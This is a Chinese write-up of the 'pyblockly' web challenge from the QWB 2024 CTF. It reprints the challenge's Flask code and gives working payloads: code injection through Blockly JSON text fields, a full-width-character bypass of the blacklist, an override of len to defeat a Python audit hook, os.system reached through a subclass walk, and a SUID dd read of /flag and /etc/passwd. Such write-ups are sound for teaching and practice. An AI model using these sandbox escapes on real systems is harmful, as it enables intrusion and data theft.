强网杯 2024 web pyblockly 单题wp

这次跟的wgpsec打。不给复现写不了wp,第一次打国内的比赛有点疏忽了。把pyblockly写详细点儿吧(pyblockly留了做题记录)

贴一下wgpsec的wp:https://mp.weixin.qq.com/s/NzZ-ZJlyCh2sk3vbNbswiw

WEB几乎AK了,tql师傅们

像这种PYjail接触的比较少,题目质量也很高,记录一下

下载附件,读

app.py

复制代码
    from flask import Flask, request, jsonify
    import re
    import unidecode
    import string
    import ast
    import sys
    import os
    import subprocess
    import importlib.util
    import json
    
    app = Flask(__name__)
    app.config['JSON_AS_ASCII'] = False
    
    blacklist_pattern = r"[!\"#$%&'()*+,-./:;<=>?@[\\\]^_`{|}~]"
    
    def module_exists(module_name):
    
        spec = importlib.util.find_spec(module_name)
        if spec is None:
            return False
    
        if module_name in sys.builtin_module_names:
            return True
        
        if spec.origin:
            std_lib_path = os.path.dirname(os.__file__)
            
            if spec.origin.startswith(std_lib_path) and not spec.origin.startswith(os.getcwd()):
                return True
        return False
    
    def verify_secure(m):
        for node in ast.walk(m):
            match type(node):
                case ast.Import:  
                    print("ERROR: Banned module ")
                    return False
                case ast.ImportFrom: 
                    print(f"ERROR: Banned module {node.module}")
                    return False
        return True
    
    def check_for_blacklisted_symbols(input_text):
        if re.search(blacklist_pattern, input_text):
            return True
        else:
            return False


​    
​    
    def block_to_python(block):
        block_type = block['type']
        code = ''
        
        if block_type == 'print':
            text_block = block['inputs']['TEXT']['block']
            text = block_to_python(text_block)  
            code = f"print({text})"
               
        elif block_type == 'math_number':
            
            if str(block['fields']['NUM']).isdigit():      
                code =  int(block['fields']['NUM']) 
            else:
                code = ''
        elif block_type == 'text':
            if check_for_blacklisted_symbols(block['fields']['TEXT']):
                code = ''
            else:
            
                code =  "'" + unidecode.unidecode(block['fields']['TEXT']) + "'"
        elif block_type == 'max':
            
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)  
            b = block_to_python(b_block)
            code =  f"max({a}, {b})"
    
        elif block_type == 'min':
            a_block = block['inputs']['A']['block']
            b_block = block['inputs']['B']['block']
            a = block_to_python(a_block)
            b = block_to_python(b_block)
            code =  f"min({a}, {b})"
    
        if 'next' in block:
            
            block = block['next']['block']
            
            code +="\n" + block_to_python(block)+ "\n"
        else:
            return code 
        return code
    
    def json_to_python(blockly_data):
        block = blockly_data['blocks']['blocks'][0]
    
        python_code = ""
        python_code += block_to_python(block) + "\n"


​            
        return python_code
    
    def do(source_code):
        hook_code = '''
    def my_audit_hook(event_name, arg):
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")
    
    __import__('sys').addaudithook(my_audit_hook)
    
    '''
        print(source_code)
        code = hook_code + source_code
        tree = compile(source_code, "run.py", 'exec', flags=ast.PyCF_ONLY_AST)
        try:
            if verify_secure(tree):  
                with open("run.py", 'w') as f:
                    f.write(code)        
                result = subprocess.run(['python', 'run.py'], stdout=subprocess.PIPE, timeout=5).stdout.decode("utf-8")
                os.remove('run.py')
                return result
            else:
                return "Execution aborted due to security concerns."
        except:
            os.remove('run.py')
            return "Timeout!"
    
    @app.route('/')
    def index():
        return app.send_static_file('index.html')
    
    @app.route('/blockly_json', methods=['POST'])
    def blockly_json():
        blockly_data = request.get_data()
        print(type(blockly_data))
        blockly_data = json.loads(blockly_data.decode('utf-8'))
        print(blockly_data)
        try:
            python_code = json_to_python(blockly_data)
            return do(python_code)
        except Exception as e:
            return jsonify({"error": "Error generating Python code", "details": str(e)})
        
    if __name__ == '__main__':
        app.run(host = '0.0.0.0')

web1是很复杂的题目呢。然而其实大部分代码都没啥用,我们的思路也很明显------------通过block传递恶意代码执行。

出题人煞费苦心给题目套了一个很复杂的包装。其实对我们的攻击没多大影响。这里使用json_to_python来提取输入中的blocks,再在block_to_python中对每一个blocks进行分类(如print,max,min)再写入一个python文件中执行。

首先在block_to_python中随便一个功能(比如说print吧),最后都是直接使用字符串拼接的方式将输入拼到代码里。这里很容易想到用')闭合print('')并在后面用;或\n加入代码的RCE手段(要注释掉后面的'))。进一步可以看到print模式要获取一个TEXT,可以直接将输入经过一次unidecode.unidecode后拼入print中执行。而TEXT要经过一个检测,这里因为是先进行检测后unidecode.unidecode。所以可以用全角字符进行绕过(全角字符在unidecode.unidecode后变为半角字符)

搓出payload如下

复制代码
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
                  "fields": {
                    "TEXT": "s"')\nprint(open("/etc/passwd", "r").read())\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可得到文件回显

这里只能读取文件,没有读取/flag的权限。考虑到RCE+提权的方式。可以看到在将用户的输入拼入py文件时添加了一个hook函数中,对event_name长度进行了限制。并且加入限制event_name了一个黑名单。

复制代码
    def my_audit_hook(event_name, arg):
        # print(f"[+]{event_name},{arg}")
        blacklist = ["popen", "input", "eval", "exec", "compile", "memoryview"]
        if len(event_name) > 4:
            raise RuntimeError("Too Long!")
        for bad in blacklist:
            if bad in event_name:
                raise RuntimeError("No!")

对event_name不熟悉的师傅可以看看https://peps.python.org/pep-0578/

看到所有的event_name里,只有open和exec满足长度小于等于4,而exec又在黑名单里。

于是考虑绕过长度检测,这里可以使用重写len函数的方式,使其永远返回3。

复制代码
    __builtins__.len = lambda x: 3

随后我们搓个POC:

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\nprint(len("asdbb"))\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }

可以看到返回3

WIN!摆脱了长度的限制之后,就只剩下一个可有可无的黑名单了

限制了exec,我们就用os.system。照抄SSTIpayload即可

复制代码
    [ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("ls")

可以执行任意命令。接下来看SUID文件。发现DD可以越权读取

DD读取,转全角字符,拿flag

复制代码
    POST /blockly_json HTTP/1.1
    Host: eci-2ze1c97lhjoulskvhtrj.cloudeci1.ichunqiu.com:5000
    Content-Length: 473
    Accept: */*
    X-Requested-With: XMLHttpRequest
    Accept-Language: zh-CN,zh;q=0.9
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.6613.120 Safari/537.36
    Content-Type: application/json
    Origin: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000
    Referer: http://eci-2zebvccqe8nnivaz8wjh.cloudeci1.ichunqiu.com:5000/
    Accept-Encoding: gzip, deflate, br
    Connection: keep-alive
    
    {
      "blocks": {
        "blocks": [
          {
            "type": "print",
            "id": "print1",
            "inputs": {
              "TEXT": {
                "block": {
                  "type": "text",
                  "id": "text1",
     "fields": {
                    "TEXT": "s"')\n__builtins__.len = lambda x: 3\n[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if x.__name__=="_wrap_close"][0]["system"]("dd if=/flag")\n#"
                  }
                }
              }
            }
          }
        ]
      }
    }


**flag{7cla4fe8981e295a78508a49146340b9}**
相关推荐
布莱克6053 小时前
Swift 可选类型(Optionals)详解:从原理到实战
开发语言·安全·ssh·swift·optional·可选类型
陈工大模型4 小时前
解压工具的三个技术分水岭:编码、分卷、容器格式
人工智能·windows·安全·解压工具·免费国内办公软件
QXWZ_IA5 小时前
具身智能巡检和无人机巡检怎么选?
人工智能·安全·无人机
时间售卖铺6 小时前
Chrony与SSH实战:精准时间同步与安全远程登录
运维·安全·云原生·ssh
QXWZ_IA6 小时前
管道GIS测绘如何实现自动化成图:三种成图方式怎么选
运维·人工智能·安全·自动化
Thanks_ks8 小时前
HTTPS:浏览器地址栏那把锁的工作原理
http·网络安全·https·tls·加密算法·数字证书·中间人攻击
Yuzhiyuxia1 天前
【AI Agent面试系列】AI Agent可观测、评测、安全相关的知识点
人工智能·安全·面试
QXWZ_IA1 天前
测绘单位采购RTK:设备价格、账号年费、售后,用时间轴分权重
网络·人工智能·安全
IT大白鼠1 天前
GitLab 未认证 RCE 应急实战CVE-2026-97229(CVSS 10.0)
网络·安全·gitlab
进击的荆棘1 天前
Linux系统——线程同步与互斥之线程池和安全
linux·运维·服务器·安全·单例模式·线程